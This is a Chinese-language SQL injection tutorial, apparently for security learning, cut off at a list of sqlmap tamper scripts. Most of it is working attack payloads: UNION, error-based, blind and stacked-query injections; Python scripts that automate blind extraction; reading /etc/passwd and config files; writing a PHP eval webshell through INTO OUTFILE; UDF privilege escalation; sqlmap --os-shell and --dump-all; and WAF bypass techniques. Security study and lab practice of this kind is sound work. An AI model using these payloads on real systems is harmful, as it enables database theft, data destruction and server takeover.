SQL 注入指南
声明:本文仅供安全学习使用。未经授权对任何系统实施攻击均属违法行为,后果自负。
目录
- 概述
- 手工注入
- 高权限注入
- 文件读写
- SQL 注入数据类型
- 报错盲注
- 延时盲注
- 布尔盲注
- 解密注入
- 堆叠注入
- JSON 注入
- XFF 注入
- WAF 绕过
- sqlmap GET 型注入
- sqlmap POST 型注入
- sqlmap 获取 Shell
1. 概述
1.1 什么是 SQL 注入
SQL 注入(SQL Injection,简称 SQLi)是 Web 安全领域最经典、最常见的漏洞之一,常年霸占 OWASP Top 10。
一句话理解: 攻击者把 SQL 代码"注入"到应用程序的数据库查询里,让数据库执行攻击者想要的命令,从而获取、篡改、删除数据,甚至控制服务器。
1.2 为什么会产生 SQL 注入
根本原因是:程序把用户输入直接拼接进了 SQL 语句,没有做任何过滤或转义。
举个例子,一个登录功能的 PHP 代码:
$username = $_GET['username'];
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE username='" . $username . "' AND password='" . $password . "'";
正常情况下,用户输入 admin 和 123456,拼接结果是:
SELECT * FROM users WHERE username='admin' AND password='123456'
但如果用户输入 admin'-- 和任意密码,拼接结果变成:
SELECT * FROM users WHERE username='admin'-- ' AND password='任意'
-- 是 MySQL 的单行注释符(注意:-- 后面必须跟至少一个空格才能生效,在 URL 中常写成 --+,因为 + 会被 URL 解码为空格),后面的内容全被注释掉,密码验证直接失效,攻击者以 admin 身份登录成功。
1.3 SQL 注入的危害
- 数据泄露: 读取数据库中的用户名、密码、身份证、银行卡等敏感信息
- 数据篡改: 修改数据库内容(改密码、改余额)
- 数据删除: DROP TABLE 直接删库
- 权限提升: 利用数据库高权限写文件、执行系统命令
- 绕过认证: 绕过登录验证
1.4 SQL 注入的分类(全局概览)
| 分类维度 | 类型 |
|---|---|
| 按结果回显 | 有回显注入、报错注入、盲注(布尔/时间) |
| 按注入位置 | GET 参数、POST 参数、Header、Cookie |
| 按数据类型 | 数字型、字符串型、搜索型 |
| 按执行方式 | 联合查询、报错函数、堆叠查询 |
1.5 MySQL 基础知识速览
学 SQL 注入前,需要了解 MySQL 几个关键的内置库和函数:
重要的系统库:
information_schema:MySQL 的"字典",存储了所有数据库、数据表、字段的元数据information_schema.schemata:所有数据库名information_schema.tables:所有表名information_schema.columns:所有列名
常用函数:
database() -- 返回当前数据库名
version() -- 返回 MySQL 版本
user() -- 返回当前数据库用户
@@datadir -- 数据库文件存储路径
@@basedir -- MySQL 安装路径
group_concat() -- 把多行结果拼成一行,注入中非常常用
-- 注意:group_concat 默认长度上限为 1024 字节,
-- 数据量大时会被截断,可用 SET group_concat_max_len 调整
2. 手工注入
手工注入是最基础也最重要的技能,学好了手工注入,才能真正理解自动化工具在做什么。
2.1 判断注入点
第一步:找参数,测报错
在 URL 参数后面加单引号 ',观察页面反应:
http://example.com/news.php?id=1'
- 页面报错或显示异常 → 很可能存在注入
- 页面正常显示 → 可能有过滤,或参数不是注入点
常见报错信息:
You have an error in your SQL syntax; check the manual...
Warning: mysql_fetch_array() expects parameter...
第二步:加注释,验证闭合
http://example.com/news.php?id=1'--+
http://example.com/news.php?id=1'#
--+ 和 # 都是 MySQL 注释符。--+ 中的 + 在 URL 中会被解码为空格,这是必要的,因为 MySQL 要求 -- 后面跟至少一个空格才能作为注释生效。# 则没有这个限制,但有时候会被 URL 编码处理。如果加了注释后页面恢复正常,基本可以确认存在字符型注入。
2.2 判断字段数(ORDER BY)
注入的第一步是确定当前 SELECT 语句查询了几列,这样后面才能用 UNION 联合查询。
http://example.com/news.php?id=1 order by 1--+ # 正常
http://example.com/news.php?id=1 order by 2--+ # 正常
http://example.com/news.php?id=1 order by 3--+ # 正常
http://example.com/news.php?id=1 order by 4--+ # 报错!
报错说明字段数是 3。
2.3 UNION 联合查询注入(完整流程)
① 确认回显位
http://example.com/news.php?id=-1 union select 1,2,3--+
注意:id=-1 是为了让原始查询返回空结果,这样 UNION 的结果才能显示出来。如果原始查询有结果,UNION 的行默认排在后面,可能不显示。
页面上会显示数字 1、2、3 中的某几个,显示出来的位置就是"回显位",我们把想要的数据"塞"进这些位置。
② 查数据库名
id=-1 union select 1,database(),3--+
③ 查所有数据库
id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
④ 查表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
⑤ 查列名
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
⑥ 查数据
id=-1 union select 1,group_concat(username,':',password),3 from users--+
3. 高权限注入
3.1 什么是高权限注入
MySQL 中不同的用户拥有不同的权限。如果当前数据库连接用的是 root 账号,就拥有最高权限,可以进行文件读写、执行系统命令(通过 UDF)等操作。
判断当前用户:
union select 1,user(),3--+
-- 返回 root@localhost 说明是高权限用户
查看是否有 FILE 权限:
union select 1,super_priv,3 from mysql.user where user='root'--+
-- 返回 Y 说明有超级权限(包含 FILE 权限)
3.2 UDF 提权(MySQL 执行系统命令)
UDF(User Defined Function,用户自定义函数)是 MySQL 允许用户加载外部动态库来扩展函数功能的机制。攻击者可以将恶意 DLL/SO 文件写入 MySQL 的插件目录,然后创建函数来执行系统命令。
前提条件:
- 当前用户有 INSERT 和 CREATE 权限(通常需要 root)
- MySQL 版本 < 5.0 时,UDF 文件可以放在系统动态库搜索路径下(如
/usr/lib/);版本 >= 5.0 之后开始限制,5.1 及以上必须放在@@plugin_dir指定的目录中
查看 plugin 目录:
union select 1,@@plugin_dir,3--+
利用 sqlmap 自动完成(推荐):
sqlmap -u "http://example.com/?id=1" --os-shell
sqlmap 会自动完成 UDF 文件的上传和函数创建。
4. 文件读写
4.1 前提条件
| 条件 | 说明 |
|---|---|
| 用户有 FILE 权限 | select file_priv from mysql.user where user='root' 返回 Y |
secure_file_priv 配置 |
为空字符串 '' 才能随意读写;设为某路径则只能读写该目录;设为 NULL 则完全禁止读写 |
| 知道绝对路径 | 写文件需要知道 Web 根目录的绝对路径 |
补充说明: MySQL 5.7.6 之后,
secure_file_priv的默认值已从空字符串改为NULL,即默认禁止文件读写操作。因此在较新版本的 MySQL 上,这类攻击往往需要特意的错误配置才能利用。
查看 secure_file_priv:
union select 1,@@secure_file_priv,3--+
4.2 读取文件(load_file)
union select 1,load_file('/etc/passwd'),3--+
union select 1,load_file('C:/Windows/win.ini'),3--+
union select 1,load_file('/var/www/html/config.php'),3--+
读取配置文件可能获取到数据库密码、API 密钥等敏感信息。
4.3 写入文件(into outfile / into dumpfile)
-- 写入一句话木马(Webshell)
union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile '/var/www/html/shell.php'--+
-- into dumpfile 适合写二进制文件(如 UDF 的 .so/.dll),不会自动换行
-- 实战中请先执行 select @@plugin_dir 获取实际路径,不要写死路径
-- 不同系统路径各异:Ubuntu/Debian 通常是 /usr/lib/mysql/plugin/
-- CentOS/RHEL 可能是 /usr/lib64/mysql/plugin/
-- 自定义编译版本路径因人而异
union select 0x[二进制内容的十六进制] into dumpfile '/path/from/@@plugin_dir/udf.so'--+
into outfile和into dumpfile的区别:outfile会对换行符等特殊字符做转义处理,适合写文本文件;dumpfile原样写入,适合写二进制文件(如 UDF 动态库)。
常见 Web 根目录:
/var/www/html/ # Linux Apache
/www/wwwroot/ # 宝塔面板默认
C:/phpStudy/WWW/ # Windows phpStudy
C:/inetpub/wwwroot/ # Windows IIS
如何找 Web 根目录:
-- 读 Apache 配置
load_file('/etc/apache2/sites-enabled/000-default.conf')
-- 读 Nginx 配置
load_file('/etc/nginx/sites-enabled/default')
-- 也可以通过故意触发 PHP 报错,从错误信息中读取路径
5. SQL 注入数据类型
不同类型的注入,注入时需要不同的"闭合方式",这是手工注入最容易出错的地方。
5.1 数字型注入
后端代码大概是这样:
$sql = "SELECT * FROM news WHERE id=" . $id;
SQL 中 id 两边没有引号,直接是数字。
测试方式:
?id=1 → 正常
?id=1 and 1=1 → 正常(返回和 id=1 一样的结果)
?id=1 and 1=2 → 异常(返回空或不同内容)
两次结果不同 → 数字型注入存在。
注入时不需要闭合引号:
?id=-1 union select 1,2,3--+
5.2 字符串型注入
后端代码:
$sql = "SELECT * FROM news WHERE title='" . $title . "'";
参数两边有单引号,需要先"闭合"它。
测试:
?title=abc' → 报错(多了一个单引号)
?title=abc'--+ → 正常(注释掉了后面的单引号)
注入:
?title=-1' union select 1,2,3--+
5.3 双引号字符串型
有时候后端用双引号:
$sql = "SELECT * FROM news WHERE title=\"" . $title . "\"";
测试:
?title=abc"--+ → 正常则是双引号型
注入:
?title=-1" union select 1,2,3--+
5.4 括号包裹型
有时候参数被括号包裹:
$sql = "SELECT * FROM news WHERE id=(" . $id . ")";
测试:
?id=1)--+ → 正常则存在括号
注入:
?id=-1) union select 1,2,3--+
5.5 搜索型注入(LIKE 注入)
后端代码:
$sql = "SELECT * FROM news WHERE title LIKE '%" . $keyword . "%'";
闭合方式:
?keyword=abc%' and 1=1--+
-- 或者不使用注释,手动闭合后面的引号
?keyword=abc' and 1=1 and '%'='
6. 报错盲注
6.1 什么是报错盲注
当页面不显示查询结果,但会显示数据库报错信息时,可以利用特殊函数触发报错,并把想要的数据"塞进"报错信息里带出来。
适用场景: 页面有错误信息回显,但没有正常数据回显。
6.2 常用报错函数
6.2.1 updatexml() 报错
updatexml(xml_doc, xpath_expr, new_val) 函数在 xpath 表达式不合法时会报错并把表达式值带出来,我们把想要的数据拼进 xpath 里。
-- 查数据库名
and updatexml(1,concat(0x7e,database(),0x7e),1)--+
-- 返回错误:XPATH syntax error: '~security~'
-- 查表名
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
-- 查列名
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
-- 查数据
-- 注意:updatexml 报错信息有约 32 字符长度限制,数据长了需要用 substr 分段提取
and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e),1)--+
-- 超长时分段(调整起始位置逐段读取)
and updatexml(1,concat(0x7e,substr((select group_concat(username,':',password) from users),1,30),0x7e),1)--+
and updatexml(1,concat(0x7e,substr((select group_concat(username,':',password) from users),31,30),0x7e),1)--+
0x7e是~的十六进制,用来做分隔符,方便从报错信息中识别结果。
6.2.2 extractvalue() 报错
原理与 updatexml 类似,同样有约 32 字符的长度限制:
and extractvalue(1,concat(0x7e,database()))--+
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
6.2.3 floor() + rand() + count() 报错
这是一个经典的报错注入组合。其原理是:rand() 在 GROUP BY 阶段会被调用两次(一次用于分组,一次用于写入临时表),两次调用的随机结果可能不同,导致临时表中出现重复的主键,从而触发报错。
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2)) x from information_schema.tables group by x) a)--+
此方法对 MySQL 版本兼容性较好(5.x 系列),但写法较复杂。需要注意的是,该技巧在 MySQL 8.0.28 及以上版本中已被修复,不再触发报错。
6.3 报错注入完整流程示例
假设注入点为 http://sqli-labs/Less-5/?id=1:
-- Step 1: 确认有注入
?id=1' → 报错
?id=1'--+ → 正常
-- Step 2: 查当前数据库
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
→ XPATH syntax error: '~security~' → 数据库名是 security
-- Step 3: 查表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
→ '~emails,referers,uagents,users~'
-- Step 4: 查列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
→ '~id,username,password~'
-- Step 5: 查数据
?id=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e),1)--+
7. 延时盲注
7.1 什么是延时盲注
当页面既没有数据回显,也没有报错信息,只有"正常"和"不正常"两种状态时,就需要盲注。
延时盲注(Time-based Blind SQLi)的核心思路:通过数据库延迟响应时间来判断条件是否成立。
核心函数:
sleep(N) -- 让数据库暂停 N 秒
if(条件, 成立时执行, 不成立时执行)
7.2 延时盲注语法
-- 基础模板:如果条件成立,延迟 5 秒;否则立即返回
if(条件, sleep(5), 1)
判断数据库名长度:
?id=1' and if(length(database())>5, sleep(5), 1)--+
如果页面延迟约 5 秒返回,说明数据库名长度 > 5。通过二分法逐步缩小范围。
逐字符猜解数据库名:
-- 猜第1个字符的 ASCII 码是否 > 100
?id=1' and if(ascii(substr(database(),1,1))>100, sleep(5), 1)--+
-- 猜第1个字符的 ASCII 码是否 = 115(对应字符 's')
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1)--+
逐字符猜解表名:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117, sleep(5), 1)--+
避坑:防止把目标"睡死"
如果注入点所在的 SQL 没有LIMIT,而且表里有大量数据,sleep()会对每一条匹配的记录执行一次。例如表中有 10 万行,sleep(5)就会让数据库睡 50 万秒,直接打垮目标服务(DoS)。
强烈建议: 手工测试时在子查询末尾加上LIMIT 0,1,确保每次只对一行触发延时,例如:?id=1' and if(ascii(substr((select database() limit 0,1),1,1))>100, sleep(3), 1)--+写自动化脚本时同理,把被猜解的查询包在
(select ... limit 0,1)里。
7.3 自动化脚本示例(Python)
手工逐字符猜解太慢,实际中通常写脚本:
import requests
import time
url = "http://sqli-labs/Less-9/?id=1"
def get_db_name():
db_name = ""
for i in range(1, 20): # 最多猜 20 个字符
found = False
for ascii_val in range(32, 127): # 可见字符范围
payload = f"' and if(ascii(substr(database(),{i},1))={ascii_val},sleep(3),1)--+"
start = time.time()
try:
requests.get(url + payload, timeout=5)
except requests.exceptions.Timeout:
pass
elapsed = time.time() - start
if elapsed >= 3: # 延迟 3 秒说明猜对了
db_name += chr(ascii_val)
print(f"[+] 第{i}个字符: {chr(ascii_val)} -> 当前: {db_name}")
found = True
break
if not found:
# 当前位置没有匹配的字符,说明已到达字符串末尾
print(f"[+] 数据库名猜解完成: {db_name}")
break
return db_name
get_db_name()
8. 布尔盲注
8.1 什么是布尔盲注
布尔盲注(Boolean-based Blind SQLi)也是盲注的一种,但不依赖延时,而是依赖页面返回的两种不同状态:
- 条件为真 → 页面显示正常内容
- 条件为假 → 页面显示空或不同内容
适用场景: 页面对有无数据有明显区别,但看不到具体数据内容。
8.2 布尔盲注语法
-- 判断数据库名长度
?id=1' and length(database())=8--+ # 正常(说明长度确实是8)
?id=1' and length(database())=7--+ # 异常(空页面或不同响应)
-- 逐字符猜解('s' 的 ASCII 是 115,'e' 的 ASCII 是 101)
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and ascii(substr(database(),2,1))=101--+
8.3 完整猜解流程
① 猜数据库名长度(用二分法加速):
?id=1' and length(database())>5--+ # 正常 → 长度>5
?id=1' and length(database())>10--+ # 异常 → 长度≤10
?id=1' and length(database())>7--+ # 正常 → 长度>7
?id=1' and length(database())=8--+ # 正常 → 长度=8
② 逐字符猜解(二分法):
?id=1' and ascii(substr(database(),1,1))>90--+ # 正常 → 第1个字符ASCII > 90
?id=1' and ascii(substr(database(),1,1))>110--+ # 正常 → > 110
?id=1' and ascii(substr(database(),1,1))>115--+ # 异常 → ≤ 115
?id=1' and ascii(substr(database(),1,1))=115--+ # 正常 → = 115 → 's'
③ 常用辅助函数:
substr(str, pos, len) -- 截取字符串,pos 从 1 开始
mid(str, pos, len) -- 同 substr
left(str, len) -- 从左截取
right(str, len) -- 从右截取
ascii() -- 返回字符的 ASCII 值
ord() -- 同 ascii()
8.4 Python 自动化脚本
import requests
url = "http://sqli-labs/Less-8/?id=1"
def boolean_inject(payload):
"""返回 True 表示页面正常,False 表示异常"""
r = requests.get(url + payload)
return "You are in" in r.text # 根据实际页面特征调整
def get_string(query, max_len=50):
result = ""
for i in range(1, max_len + 1):
# 二分查找 ASCII 值
# 下界设为 0:MySQL 对越界的 substr() 返回空字符串,ascii() 返回 0
# 用 0 作为字符串结束的绝对标志,避免与合法空格字符(ASCII=32)混淆
lo, hi = 0, 126
while lo < hi:
mid = (lo + hi + 1) // 2 # 上取整,防止死循环
payload = f"' and ascii(substr(({query}),{i},1))>={mid}--+"
if boolean_inject(payload):
lo = mid
else:
hi = mid - 1
if lo == 0: # ASCII=0 表示该位置越界,字符串已结束
break
result += chr(lo)
print(f"[+] 已猜解: {result}")
return result
# 使用示例
db_name = get_string("select database()")
print(f"[+] 数据库名: {db_name}")
tables = get_string(f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'")
print(f"[+] 所有表: {tables}")
为什么下界从 0 开始? 当
substr()的起始位置超过字符串实际长度时,MySQL 返回空字符串'',ascii('')的结果是0。二分法会最终收敛到lo=0,我们以此判断字符串已取完。如果下界是 32,当真实字符恰好是空格(ASCII=32)时会误判截断,导致后续字符全部丢失。
9. 解密注入
9.1 什么是解密注入
有时候数据库中存储的是加密或编码后的数据(如 MD5、Base64、URL 编码等),或者 SQL 语句本身对参数做了编码处理。我们需要理解这些编码方式才能成功注入。
9.2 常见情况
9.2.1 参数经过 Base64 编码传递
有些网站把参数 Base64 编码后放在 GET/POST 里:
http://example.com/view.php?data=MQ==
MQ== 是 1 的 Base64 编码。注入时需要把 payload 也 Base64 编码:
import base64
payload = "1 union select 1,database(),3-- " # 注意 -- 后有空格
encoded = base64.b64encode(payload.encode()).decode()
print(encoded)
# MSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMtLSA=
9.2.2 加密字段的注入
当查询逻辑是在拼接之后再加密时,就可以注入。例如:
// 先拼接参数,再计算 md5,存在注入
$sql = "SELECT * FROM users WHERE password=md5('" . $password . "')";
此时 payload 在 md5() 的括号内部,可以尝试闭合括号提前结束 md5 函数的参数:
password = ') or '1'='1
拼接后:
SELECT * FROM users WHERE password=md5('') or '1'='1'
md5('') 计算的是空字符串的哈希,条件 or '1'='1' 恒为真,绕过验证。
注意: 如果后端代码是先计算 md5 再拼接(如
WHERE password='+ md5($input) +'),则无法注入,因为 md5 的输出是固定的 32 位十六进制字符串,不含任何 SQL 特殊字符。
9.2.3 宽字节注入(GBK 编码)
当数据库使用 GBK 编码且程序用 addslashes() 转义单引号时,可以利用宽字节绕过。
addslashes() 会把 ' 转义为 \'(即在前面加反斜杠 \,十六进制 0x5C)。而在 GBK 编码中,某些汉字的编码第二个字节恰好是 0x5C。如果我们输入 %df',经过 addslashes 处理后变为 %df\',即字节序列 0xDF 0x5C 0x27。在 GBK 解码时,0xDF 0x5C 会被识别为一个完整的中文字符("運"的 GBK 编码正好是 0xDF 0x5C),于是 0x5C(反斜杠)被"吃掉",剩下 0x27 即单引号成功逃逸。
Payload:
?id=1%df' union select 1,database(),3--+
宽字节注入的根本原因是字符集处理不一致,防御方式是统一使用 UTF-8 编码,并使用
mysqli_set_charset()正确设置连接字符集,而不是依赖addslashes()。
10. 堆叠注入
10.1 什么是堆叠注入
SQL 中用分号 ; 可以分隔多条语句。如果程序允许执行多条 SQL 语句,就可以用堆叠注入在一次请求中执行任意 SQL 命令,不只是 SELECT,还可以 INSERT、UPDATE、DELETE、DROP,甚至创建用户。
常见触发场景:
- PHP 使用
mysqli_multi_query()函数 - PHP 使用 PDO 时,若未禁用模拟预处理(
PDO::ATTR_EMULATE_PREPARES),在某些配置下也可能支持多语句 - 某些 ORM 框架的特定配置
需要注意的是,即使数据库支持多语句,后端程序也可能只取第一条语句的结果,导致堆叠注入的 SELECT 结果无法回显,但 INSERT/UPDATE/DELETE 等操作仍然会在数据库中执行。
10.2 基础用法
?id=1'; drop table users;--+
?id=1'; insert into users(username,password) values('hacker','123456');--+
?id=1'; update users set password='hacked' where username='admin';--+
10.3 利用堆叠注入绕过限制
某些场景下 SELECT 被过滤,但可以用堆叠注入执行其他语句:
-- 创建新表并复制数据
?id=1'; create table tmp as select * from users;--+
-- 修改用户权限
?id=1'; grant all privileges on *.* to 'test'@'%' identified by 'test123';--+
10.4 配合预处理语句绕过关键字过滤
当 union、select 等关键字被过滤时,可以用堆叠注入配合 PREPARE 预处理绕过:
-- 用 char() 函数把被过滤的关键字转换为 ASCII 码拼接,绕过字符串检测
?id=1';set @sql=concat(char(115,101,108,101,99,116),' * from users');prepare s from @sql;execute s;--+
char(115,101,108,101,99,116) 对应的就是字符串 select,通过函数拼接的方式绕过了关键字过滤。
11. JSON 注入
11.1 什么是 JSON 注入
随着 REST API 的普及,越来越多的应用接受 JSON 格式的请求体。如果服务器把 JSON 中的字段直接拼接进 SQL,同样存在注入漏洞。
11.2 典型场景
前端发送的请求:
POST /api/login HTTP/1.1
Content-Type: application/json
{"username":"admin","password":"123456"}
后端代码(漏洞示例):
$data = json_decode(file_get_contents('php://input'), true);
$sql = "SELECT * FROM users WHERE username='" . $data['username'] . "'";
注入方式: 在 JSON 的字段值里注入 SQL:
{"username":"admin' union select 1,database(),3-- -","password":"123"}
11.3 使用 Burp Suite 测试 JSON 注入
- 用 Burp Suite 拦截请求
- 在 JSON 参数值中加单引号测试
- 观察响应是否报错
{"username":"admin'","password":"123"}
如果报错,继续测试:
{"username":"admin' and 1=1-- -","password":"123"}
{"username":"admin' and 1=2-- -","password":"123"}
两次响应不同 → 确认注入。
11.4 JSON 中的注意事项
JSON 字符串中不能直接包含未转义的双引号 "(需写为 \"),但单引号 ' 可以直接使用,因此基本注入写法与普通字符串注入一致。
注释符的写法:在 JSON 请求中建议使用 -- -(双横线加空格再加一个字符),这样更稳妥。--+ 在 URL 中有效,但在 POST Body 中 + 不会自动解码为空格。
{"id":"1' union select 1,2,3-- -"}
双引号转义的重要性: 如果 payload 中必须包含双引号(例如某些闭合场景),一定要写为 \",否则会破坏 JSON 整体结构:
// ❌ 错误:双引号未转义,JSON 结构损坏,服务端会直接返回 400 Bad Request
{"username":"admin" and 1=1-- -","password":"123"}
// ✅ 正确:双引号转义
{"username":"admin\" and 1=1-- -","password":"123"}
JSON 结构损坏后,后端中间件(如 Spring Boot 的 @RequestBody、PHP 的 json_decode())会在解析阶段就直接报错返回,payload 根本无法到达 SQL 查询层,因此这个细节在实战中至关重要。
12. XFF 注入
12.1 什么是 XFF 注入
XFF 即 X-Forwarded-For 请求头,用于标识客户端的真实 IP 地址。有些网站会把 XFF 的值记录进数据库(如日志、访问统计),如果没有过滤,就产生了 Header 注入。
12.2 其他常见 Header 注入点
除了 XFF,以下 Header 也常见注入:
X-Forwarded-For: 客户端IP
X-Real-IP: 客户端IP
Client-IP: 客户端IP
User-Agent: 浏览器标识(有些系统会记录入库)
Referer: 来源页面(有些系统会记录入库)
Cookie: Cookie 中的参数值
12.3 测试方法
用 Burp Suite 拦截请求,在请求头中添加/修改 XFF 值:
正常请求:
GET /index.php HTTP/1.1
Host: example.com
X-Forwarded-For: 127.0.0.1
测试注入(在值后面加单引号):
X-Forwarded-For: 127.0.0.1'
如果日志页面报错,继续:
X-Forwarded-For: 127.0.0.1' and '1'='1
X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,database()),1) and '1'='1
12.4 完整注入示例
查数据库:
X-Forwarded-For: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
查表名:
X-Forwarded-For: 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1
12.5 User-Agent 注入示例
User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,database()),1) and '1'='1
13. WAF 绕过
13.1 什么是 WAF
WAF(Web Application Firewall,Web 应用防火墙)通过规则匹配拦截恶意请求。常见商业 WAF 有阿里云盾、腾讯 WAF、安全狗、D 盾等,开源的有 ModSecurity。
13.2 常用绕过技术
13.2.1 大小写混写
部分 WAF 规则对大小写敏感:
uNiOn SeLeCt 1,2,3--+
UnIoN sElEcT 1,2,3--+
13.2.2 注释符分割
用 /**/ 注释符分割关键字(MySQL 会忽略注释内容,照常解析 SQL):
un/**/ion se/**/lect 1,2,3--+
union/**/select 1,2,3--+
MySQL 内联注释(/*!...*/ 中的内容会被 MySQL 实际执行,但部分 WAF 可能不识别):
/*!union*/ /*!select*/ 1,2,3--+
/*!50000union*/select 1,2,3--+ -- 50000 表示 MySQL >= 5.00.00 时执行
在 sqlmap 中,
/*!版本号关键字*/这种写法对应的是内置 tamper 脚本versionedkeywords.py(在第 14.4.4 节的 tamper 列表中有列出),手工测试和工具可以互相印证。
13.2.3 URL 编码绕过
-- 空格替换为 %20、%09(Tab)、%0a(换行)等
union%20select%201,2,3--+
union%09select%091,2,3--+
union%0aselect%0a1,2,3--+
双重 URL 编码(某些场景下服务器会解码两次):
%2527 → 第一次解码 → %27 → 第二次解码 → '
13.2.4 空白符替换
MySQL 支持多种空白符替换空格:
-- %09 Tab %0a 换行 %0b 垂直Tab %0c 换页 %0d 回车 %a0 不间断空格
union%0aselect%0a1,2,3
union%0d%0aselect%0d%0a1,2,3
13.2.5 关键字拆分(编码)
-- hex 编码字符串,绕过字符串字面值过滤
where table_name=0x7573657273 -- 'users' 的十六进制
-- char() 函数拼接
where table_name=char(117,115,101,114,115) -- 'users' 的 ASCII 拼接
13.2.6 等号绕过
-- 用 like、in、between 替换 =
where username like 'admin'
where username in ('admin')
where ascii(substr(database(),1,1)) between 115 and 115
13.2.7 逗号绕过
当逗号被过滤时(影响 UNION SELECT 和 substr):
-- union select 无逗号写法(用 join 替代)
union select * from (select 1)a join (select 2)b join (select 3)c--+
-- substr 无逗号写法
substr(database() from 1 for 1) -- 等效于 substr(database(),1,1)
mid(database() from 1 for 1)
13.2.8 OR/AND 绕过
-- 用 || 代替 or,用 && 代替 and(MySQL 中支持,需注意 URL 中 & 需编码为 %26)
1 || 1=1
1 && 1=1
-- 双写(针对简单删除关键字的 WAF,删掉一次后剩下的拼合成完整关键字)
ununionion seselectlect 1,2,3--+
13.2.9 HTTP 参数污染(HPP)
?id=1&id=2 union select 1,2,3--+
有些服务器会把多个同名参数合并,而 WAF 只检测第一个参数,造成绕过。
13.2.10 分块传输(Chunked Transfer Encoding)
部分 WAF 对 HTTP 分块传输处理不完整,可以把 payload 分成多个 chunk 发送,WAF 只分析各个片段时无法识别完整的攻击字符串,从而放行。
Burp Suite 中可以用插件 chunked-coding-converter 实现分块传输。
13.3 绕过思路总结
| 类型 | 方法 |
|---|---|
| 关键字过滤 | 大小写、注释分割、双写、编码、等效替换 |
| 空格过滤 | %09/%0a/%0b/%0c/%0d//**/ |
| 引号过滤 | 宽字节、hex 编码、char 函数 |
| 逗号过滤 | join 写法、from...for 写法 |
| 函数过滤 | 等效函数替换(mid=substr,ord=ascii) |
| IP 检测 | XFF 伪造、代理 |
14. sqlmap GET 型注入
14.1 sqlmap 简介
sqlmap 是最强大的开源 SQL 注入自动化工具,支持几乎所有主流数据库(MySQL、MSSQL、Oracle、PostgreSQL、SQLite 等),能自动检测注入点、获取数据、写文件、获取 Shell。
安装:
# Kali Linux 已预装
sqlmap -h
# 手动安装(需要 Python 3)
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h
14.2 基础语法
sqlmap -u "URL" [选项]
14.3 GET 型注入基础用法
① 检测是否存在注入:
sqlmap -u "http://example.com/news.php?id=1"
② 指定参数测试:
sqlmap -u "http://example.com/news.php?id=1&page=2" -p id
③ 获取所有数据库:
sqlmap -u "http://example.com/news.php?id=1" --dbs
④ 获取当前数据库:
sqlmap -u "http://example.com/news.php?id=1" --current-db
⑤ 获取当前用户:
sqlmap -u "http://example.com/news.php?id=1" --current-user
⑥ 获取指定数据库的表:
sqlmap -u "http://example.com/news.php?id=1" -D security --tables
⑦ 获取指定表的列:
sqlmap -u "http://example.com/news.php?id=1" -D security -T users --columns
⑧ 获取数据:
sqlmap -u "http://example.com/news.php?id=1" -D security -T users -C username,password --dump
⑨ 一键 dump 整个数据库:
sqlmap -u "http://example.com/news.php?id=1" -D security --dump-all
14.4 常用选项详解
14.4.1 请求相关
# 设置 Cookie(登录后的页面需要携带 Cookie)
--cookie="PHPSESSID=abc123; admin=1"
# 设置 Referer
--referer="http://example.com/"
# 设置 User-Agent
--user-agent="Mozilla/5.0 ..."
# 使用随机 User-Agent(从内置列表中随机选取)
--random-agent
# 添加自定义请求头(多个头用 \n 分隔)
--headers="X-Forwarded-For: 127.0.0.1\nCustom-Header: value"
# 使用代理(常配合 Burp Suite 调试,可查看 sqlmap 发出的请求)
--proxy="http://127.0.0.1:8080"
# 设置超时时间(秒)
--timeout=30
# 设置重试次数
--retries=3
# 每次请求之间的间隔(秒,防止请求过快触发封锁)
--delay=1
14.4.2 检测相关
# 设置注入等级(1-5,越高覆盖的测试点越多但速度越慢,默认 1)
--level=3
# 设置风险等级(1-3,3 会包含 UPDATE 等可能改变数据的语句,默认 1)
--risk=2
# 指定数据库类型(已知时可加速检测)
--dbms=mysql
# 指定注入技术(B:布尔盲注 T:时间盲注 E:报错注入 U:联合查询 S:堆叠注入)
--technique=BTE
# 手动指定 payload 的前缀/后缀(用于特殊闭合情况)
--prefix="'" --suffix="--+"
# 通过页面特征字符串辅助判断布尔状态
--string="You are in" # 条件为真时页面包含的字符串
--not-string="Login fail" # 条件为假时页面包含的字符串
14.4.3 性能相关
# 多线程(默认 1,盲注时可适当提高,建议不超过 5,避免对目标造成过大压力)
--threads=3
# 自动回答所有交互式提问为 yes(全自动模式,适合脚本调用)
--batch
14.4.4 WAF 绕过相关
# 使用内置 tamper 脚本对 payload 进行变形
--tamper=space2comment # 空格替换为 /**/
--tamper=randomcase # 关键字随机大小写
--tamper=between # 用 BETWEEN 替换 >
--tamper=charencode # 对 payload 中的字符进行 URL 编码
--tamper=base64encode # 对整个 payload 进行 Base64 编码
# 多个 tamper 可以组合使用(按顺序依次处理)
--tamper="space2comment,randomcase,charencode"
常用 tamper 脚本列表:
